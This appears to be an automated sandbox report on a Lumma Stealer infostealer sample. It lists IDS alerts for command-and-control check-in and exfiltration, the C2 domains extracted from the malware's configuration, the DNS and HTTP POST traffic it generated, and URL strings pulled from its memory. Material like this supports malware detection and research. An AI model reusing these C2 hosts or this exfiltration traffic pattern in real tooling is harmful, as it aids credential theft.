Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49787 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:61984 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:62024 -> 104.21.48.1:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: shapestickyr.lat
Source: Malware configuration extractor	URLs: manyrestro.lat
Source: Malware configuration extractor	URLs: curverpluch.lat
Source: Malware configuration extractor	URLs: tentabatte.lat
Source: Malware configuration extractor	URLs: talkynicer.lat
Source: Malware configuration extractor	URLs: wordyfindy.lat
Source: Malware configuration extractor	URLs: bashfulacid.lat
Source: Malware configuration extractor	URLs: slipperyloo.lat
Source: Malware configuration extractor	URLs: enterwahsh.biz

Tries to resolve many domain names, but no domain seems valid

Source: unknown	DNS traffic detected: query: curverpluch.lat replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 53.210.109.20.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: manyrestro.lat replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: enterwahsh.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: talkynicer.lat replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: 198.187.3.20.in-addr.arpa replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: slipperyloo.lat replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: tentabatte.lat replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: shapestickyr.lat replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: bashfulacid.lat replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: wordyfindy.lat replaycode: Name error (3)

Source: global traffic

TCP traffic: 192.168.2.5:61982 -> 162.159.36.2:53

Source: Joe Sandbox View	IP Address: 104.21.48.1 104.21.48.1
Source: Joe Sandbox View	IP Address: 104.102.49.254 104.102.49.254

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49780 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49770 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49787 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49796 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:62001 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49805 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:61984 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:62017 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:62024 -> 104.21.48.1:443

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sputnik-1985.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 86Host: sputnik-1985.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=1HOV66FNDB7NHBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12818Host: sputnik-1985.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=GR9J0UZM8CJ54HBX912User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15090Host: sputnik-1985.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=ZYZGZAHRUJ4BYWGUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20556Host: sputnik-1985.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=IBNC1KXRCOYGUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1217Host: sputnik-1985.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=G1ZN91Z2ZWUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1079Host: sputnik-1985.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 121Host: sputnik-1985.com

Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com

Source: BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampower equals www.youtube.com (Youtube)
Source: BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampower equals www.youtube.com (Youtube)
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ed.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ed.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=9cf190a5d991b4bebe33d12e; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type35126Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveFri, 10 Jan 2025 10:34:28 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: BitLockerToGo.exe, 00000003.00000003.2356666158.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: om/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.0Z' equals www.youtube.com (Youtube)
Source: BitLockerToGo.exe, 00000003.00000003.2345639041.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: om/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://play equals www.youtube.com (Youtube)
Source: BitLockerToGo.exe, 00000003.00000003.2345639041.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-sr^Z equals www.youtube.com (Youtube)
Source: BitLockerToGo.exe, 00000003.00000003.2411510457.00000000034DC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2411433910.0000000003497000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s://www.youtube.com/ httjT equals www.youtube.com (Youtube)
Source: BitLockerToGo.exe, 00000003.00000003.2345639041.00000000034A9000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2356666158.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com~T equals www.youtube.com (Youtube)
Source: BitLockerToGo.exe, 00000003.00000003.2432696708.00000000034A8000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2411433910.0000000003497000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ttps://www.youtube.com h7Z: equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: enterwahsh.biz
Source: global traffic	DNS traffic detected: DNS query: wordyfindy.lat
Source: global traffic	DNS traffic detected: DNS query: slipperyloo.lat
Source: global traffic	DNS traffic detected: DNS query: manyrestro.lat
Source: global traffic	DNS traffic detected: DNS query: shapestickyr.lat
Source: global traffic	DNS traffic detected: DNS query: talkynicer.lat
Source: global traffic	DNS traffic detected: DNS query: curverpluch.lat
Source: global traffic	DNS traffic detected: DNS query: tentabatte.lat
Source: global traffic	DNS traffic detected: DNS query: bashfulacid.lat
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: sputnik-1985.com
Source: global traffic	DNS traffic detected: DNS query: 198.187.3.20.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: 53.210.109.20.in-addr.arpa

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sputnik-1985.com

Source: BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2411510457.00000000034DC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2411433910.0000000003497000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: BitLockerToGo.exe, 00000003.00000003.2384267286.0000000005B2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: BitLockerToGo.exe, 00000003.00000003.2384267286.0000000005B2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: BitLockerToGo.exe, 00000003.00000003.2384267286.0000000005B2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: BitLockerToGo.exe, 00000003.00000003.2384267286.0000000005B2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: BitLockerToGo.exe, 00000003.00000003.2384267286.0000000005B2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: BitLockerToGo.exe, 00000003.00000003.2384267286.0000000005B2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: BitLockerToGo.exe, 00000003.00000003.2384267286.0000000005B2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: BitLockerToGo.exe, 00000003.00000003.2384267286.0000000005B2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: BitLockerToGo.exe, 00000003.00000003.2384267286.0000000005B2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2356623216.00000000034F6000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2356623216.00000000034F6000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345639041.0000000003459000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2356623216.00000000034F6000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345639041.0000000003459000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: BitLockerToGo.exe, 00000003.00000003.2384267286.0000000005B2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: BitLockerToGo.exe, 00000003.00000003.2384267286.0000000005B2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: BitLockerToGo.exe, 00000003.00000003.2357767548.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2357865261.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2357621747.0000000005ABB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: BitLockerToGo.exe, 00000003.00000003.2411510457.00000000034DC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2411433910.0000000003497000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steAT
Source: BitLockerToGo.exe, 00000003.00000003.2345639041.00000000034A9000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2356666158.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steamp
Source: BitLockerToGo.exe, 00000003.00000003.2345639041.00000000034A9000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2356666158.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowere
Source: BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: BitLockerToGo.exe, 00000003.00000003.2356666158.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.%T4
Source: BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: BitLockerToGo.exe, 00000003.00000003.2357767548.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2357865261.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2357621747.0000000005ABB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: BitLockerToGo.exe, 00000003.00000003.2345639041.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.
Source: BitLockerToGo.exe, 00000003.00000003.2411510457.00000000034DC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2411433910.0000000003497000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.steamFT
Source: BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/
Source: BitLockerToGo.exe, 00000003.00000003.2357767548.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2357865261.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2357621747.0000000005ABB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: BitLockerToGo.exe, 00000003.00000003.2357767548.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2357865261.0000000005AB8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2357621747.0000000005ABB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: BitLockerToGo.exe, 00000003.00000003.2345639041.00000000034A9000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2356666158.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampownZ
Source: BitLockerToGo.exe, 00000003.00000003.2356666158.00000000034A9000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2432696708.00000000034A8000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2411433910.0000000003497000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.
Source: BitLockerToGo.exe, 00000003.00000003.2336259469.00000000034A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345639041.0000000003459000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=SCXpgixTDzt4&a
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034DD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2336106894.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345391822.00000000034ED000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2345618551.00000000034ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
